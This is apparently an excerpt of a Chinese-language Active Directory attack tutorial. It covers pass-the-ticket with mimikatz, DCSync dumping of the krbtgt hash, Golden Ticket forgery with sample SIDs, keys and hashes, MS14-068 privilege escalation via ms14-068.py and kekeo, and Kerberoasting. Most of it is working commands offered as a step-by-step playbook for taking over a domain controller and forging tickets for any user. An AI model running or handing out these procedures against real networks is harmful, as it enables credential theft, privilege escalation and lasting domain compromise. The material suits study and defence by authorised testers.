pass the ticket
在域环境中,Kerberos协议被用来作身份认证,这里仅介绍几个名词:
- KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
- AS(Authentication Server): 身份认证服务
- TGS(Ticket Granting Server): 票据授予服务
- TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
- Pass The Ticket: 如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
1.获取域控权限后,导出域控内存中的 Ticket
注:默认 10 小时可以用来登录
通过 mimikatz 导出内存中的 Ticket,执行:
privilege::debug
sekurlsa::tickets /export
导出如下文件:
挑选其中的[0;5e3a0]-2-0-40e00000-Administrator@krbtgt-PAYLOAD.COM.kirbi
在域普通用户的主机进行导入:
mimikatz “kerberos::ptt [0;5e3a0]-2-0-40e00000-Administrator@krbtgt-PAYLOAD.COM.kirbi”
导入成功
查看是否具有域控权限:
dir \WIN-O3H6V66G0PD.payload.comc$
klist
Tips:
64 位系统使用 ptt 功能要用 32 位的 mimikatz,如果用 64 的 mimikatz,导入Ticket后会有问题!
Ticket
这种方式导入的 Ticket 默认在 10 小时以内生效
2. 导出 krbtgt 的 Hash
注:每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来生成的,那么,我们如果拿到了 krbtgt
的密码 Hash,就能任意伪造 ticket 了
在域控上执行:mimikatz “lsadump::dcsync /domain:payload.com /user:krbtgt”>krb.txt
生成 mimikatz.输出:
3.生成 Golden Ticket
伪造的用户设置为 god 也可以伪造 administrator,执行:
mimikatz “kerberos::golden /domain:payload.com /sid:S-1-5-21-2589858836-2355546349-2491181575 /aes256:b017618d03ec90dadc70fe72b3e94d2dedc172ac5951463a02eda2e72fdbebc9 /user:god /ticket:gold.kirbi”
生成文件 gold.kirbi
Tips:
生成 Golden Ticket 不仅可以使用 aes256,也可用 krbtgt 的 NTLM hash
可以用 mimikatz “lsadump::lsa /patch”导出
privilege::debug
lsadump::lsa /patch
ntml 的 hash 导出:
mimikatz “kerberos::golden /domain:payload.com /sid:S-1-5-21-2589858836-2355546349-2491181575 /krbtgt:19069f46e63bbf268dcf93db50f02810 /user:god /ticket:gold.kirbi”
生成gold.kirbi
导入 Golden Ticket,执行如下命令:
kerberos::ptt gold.kirbi
成功获得域控权限:
Tips:
这种方式导入的 Ticket 默认在 20 分钟以内生效,当然,如果过期了,再次 ptt 导入 Golden Ticket 就好
可以伪造任意用户,即使其不存在
krbtgt 的 NTLM hash 不会轻易改变,即使修改域控管理员密码
六、获取 AD 活动目录下管理员密码的方法
1. 针对没打补丁的域控利用 MS14-068 漏洞
该漏洞补丁为:KB3011780
利用 MS14-068 的步骤:
1.作为普通用户向域控请求一个没有 PAC 的 Kerberos TGT 认证的票据,域控会返回一个
TGT(不包含 PAC,PAC 通常包含有用户组中的成员关系)
2.生成一个伪造的 PAC,因为没有密钥,所以生成的 PAC“被标记”有 MD5 算法,而不是
带有域用户密码数据的 HMAC_MD5 类型。
3.把伪造的 PAC 结合上 TGT 构造认证数据,作为 TGS 服务的一部分发送到域控。
4.域控会混淆构造的数据,所以直接丢弃之前用户发送没带有 PAC 的 TGT,然后新构造一
个 TGT 并用自己的认证数据插入到伪造的 PAC 当中,再把新 TGT 发送给用户
5.这样带有伪造 PAC 的 TGT 就能使用户成为有漏洞域控上的域管理员。
1.python 版本的提权:
python ms14-068.py -u administrator@payload.com -s S-1-5-21-2589858836-2355546349-2491181575 -d WIN-SVT5AN14FQI.payload.com
-u 域普通用户
-s 普通用户对应的sid
-d 域控地址
mimikatz.exe “kerberos::ptc TGT_user-a-1@dom-a.loc.ccache” exit
SID获取方法:
1)wmic useraccount where name=”USERNAME” get sid
2)whoami /all 本机可以直接查出自己的SID;
exp地址:
参考:
准备条件:
- 域用户及其口令
- 域用户对应sid
- 域控地址(域主机全名)
- Win7及以上系统
漏洞利用的步骤为:
- 如果漏洞触发成功,会生成.ccache文件
- 通过klist purge先清除内存中的Ticket
- 使用mimikatz的ptc功能将.ccache导入到内存
- 通过klist查看导入的Ticket
- 使用net use 连接域控
mimikatz.exe “kerberos::ptc TGT_administrator@payload.com.ccache” exit
通过klist查看导入的Ticket
2、kekeo版本的 exe 提权:
Benjamin DELPY用c实现了MS14-068的利用工具,更简单高效。
因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现,当然,如果想用其他域用户信息攻击,也可以加上sid手动导入票据
kekeo的快捷用法仅需要以下参数:
- 域用户及其口令
- 域控地址
注:它是 PyKEK 的升级版。它能够找到并定位有漏洞的域控,在打了补丁和有 2012/2012R2
域控的情况下仍能奏效
ms14068.exe “/domain:payload.com /user:administrator /password:admin@123 /ptt”
2. Kerberos TGS 服务 Ticket 离线破解(Kerberoast)
tgsrepcrack.py
wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
参考视频:https://www.youtube.com/watch?v=PUyhlN-E5MU&feature=youtu.be
参考资料:https://adsecurity.org/?p=2293